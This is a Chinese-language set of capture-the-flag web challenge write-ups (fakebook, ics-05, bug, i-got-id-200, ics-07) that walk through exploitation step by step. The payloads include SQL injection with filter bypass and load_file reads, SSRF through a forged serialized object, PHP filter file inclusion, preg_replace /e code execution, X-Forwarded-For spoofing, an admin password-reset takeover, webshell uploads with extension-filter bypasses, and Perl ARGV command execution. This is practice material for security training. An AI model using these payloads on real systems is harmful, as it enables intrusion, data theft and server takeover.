fakebook
打开题目注册登录 得到如上界面
查看源码,发现一个view.php查看源码,发现一个view.php
我们发现路径一般都是/var/www/html。致此,确定一点flag文件路径为:/var/www/html/flag.php。
输出单引号报错,可能存在sql注入,进行下一步尝试
view.php?no=1 and 1=1#
view.php?no=1 and 1=2#
一正常,一报错,存在注入无疑了。
第一步,先判断原sql语句查询的字段数,页面上就显示3个,那字段数肯定从3起步了。分别测试3,4,5后。可以判断SQL语句查询字段数为4,大概猜也能猜个差不多,应该就是注册时候的用户名、年龄、密码、blog。
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#
之后尝试用union select看看哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=2):
view.php?no=2 union select 1,2,3,4#
那就想办法绕过呗。尝试修改大小写,尝试复写union和select,最后发现应该是检测"union select"这个字符串,且不区分大小写。尝试用/**/或者++替换空格,都可以绕过:
view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#
通过页面的返回结果,可以发现第二个字段可以回显利用
先看下当前数据库用户和数据库名称:
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#
先抛开数据库名fakebook不说,这个root用户着实吓了一跳,权限之高,亮瞎狗眼。mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
回显部分并没有显示内容,查看下源码:
法二:
接下来拿表名:
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=“fakebook”#
找表的字段:
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
no,username,passwd,data四个字段,后面有几个未知字段,猜测是系统变量。
我们知道最开始注册的no为1,username和passwd也都知道是什么,唯独data字段的信息不明确,拿出来看看吧。
view.php?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#
接下来的东西,我认为需要猜。最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?
view.php?no=2 union/**/select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:3:“123”;s:3:“age”;i:123;s:4:“blog”;s:13:“www.baidu.com”;}’
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。
并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
用file伪协议读取flag内容交给blog参数,然后你再查看源码,iframe的src就发生了变化:
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{
s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
回想刚刚的问题,如何想到的修改序列里面的blog参数呢?
在构造blog的时候,报错信息也一直在给予提示:
getBlogContents函数调用get函数,把unserinfo类中的blog参数当做一个URL,得到请求内容。而页面里iframe里的src根据得到的内容进行页面渲染。
ics-05
页面到处点点,只有设备维护中心可以进去
再点了一下云平台设备维护中心,发现url栏?page=index
page,考虑文件包含漏洞
/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
查看源码漏洞,发现了base64编码的代码
解码得:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{
{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {
{
d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{
type: 'numbers' },
{
type: 'checkbox' },
{
field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{
field: 'name', title: '设备名', templet: '#nameTpl' },
{
field: 'area', title: '区域' },
{
field: 'status', title: '维护状态', minWidth: 120, sort: true },
{
field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
根据函数我们得知,输入的参数有三个,并且会代入到一个preg_replace函数中,查询该函数的功能。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
url后/index.php?pat=/123/e&rep=system(“find+-iname+flag”)&sub=123
bp抓包
将http头的X-Forwarded-For改为127.0.0.1
index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
bug
首先注册一个用户123 123 2015/01/01 123
登入后
点击Manage弹出一下弹窗,存在admin账号,想办法登入管理员。
登入页面的这些功能都抓包看了,直接修改传参都无效。之前在登录页面存在一个寻找密码的功能,我们尝试一下。
填写修改密码 抓包
把username改为admin试试
重置管理员密码成功。登录管理员账号。
点击manage功能弹窗IP Not allowed
猜测需要重本地登录
在包中添加一个
X-Forwarded-For: 127.0.0.1
发现传参
index.php?module=filemanage&do=???
尝试include、upload这些一下子就发现是upload…
上传一句话木马图片发现不行
检测出来我上传的是php文件了。
然后用常见的一些绕过方式,这里用了php5:
but发现,它应该是检索到了内容里面有php代码。
那么就用这个js代码绕过, 先上传图片格式,修改后缀还是要用php5, 看他能不能检索出来:
<script language="php">system("ls");</script>
i-got-id-200
挨个看
一个是输入姓名年龄
一个是上传文件
源码里没有东西
于是尝试上传一句话木马
发现内容直接在网页上显示出来
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的
所以bp抓包
复制上传的文件类型及文件内容
将filename去掉
内容改为ARGV
这是一开始的样子
修改后的样子
我们利用bash来读取:
/cgi-bin/file.pl?/bin/bash%20-c%20ls${
IFS}/|
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。
读取flag
要点
perl文件遇到上传可配合ARGV文件使用造成任意文件读取
任意文件读取可利用bash执行一定的命令
法二:
直接扫出来的方法
ics-07
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
第一个php:index.php?page=flag.php,已经绕过了
第二个php:在admin的前提下,post上传文件到uploaded/backup,file是文件,con是内容,有个正则过滤
第三个php:id不能为1但最后要是9,然后有admin,简单利用弱类型
所以url为
index.php?page=flag.php&id=1a9
有admin了
然后尝试上传,post
file=p.php/.&con=<?php phpinfo();?>
尝试访问
个么可以尝试一句话木马+蚁剑(或者菜刀)了
法一:连接菜刀
法二:
/uploaded/backup/peak.php?bash=cat …/flag.php
法三:
/uploaded/backup/peak.php?peak=system(%27cat%20/var/www/html/flag.php%27);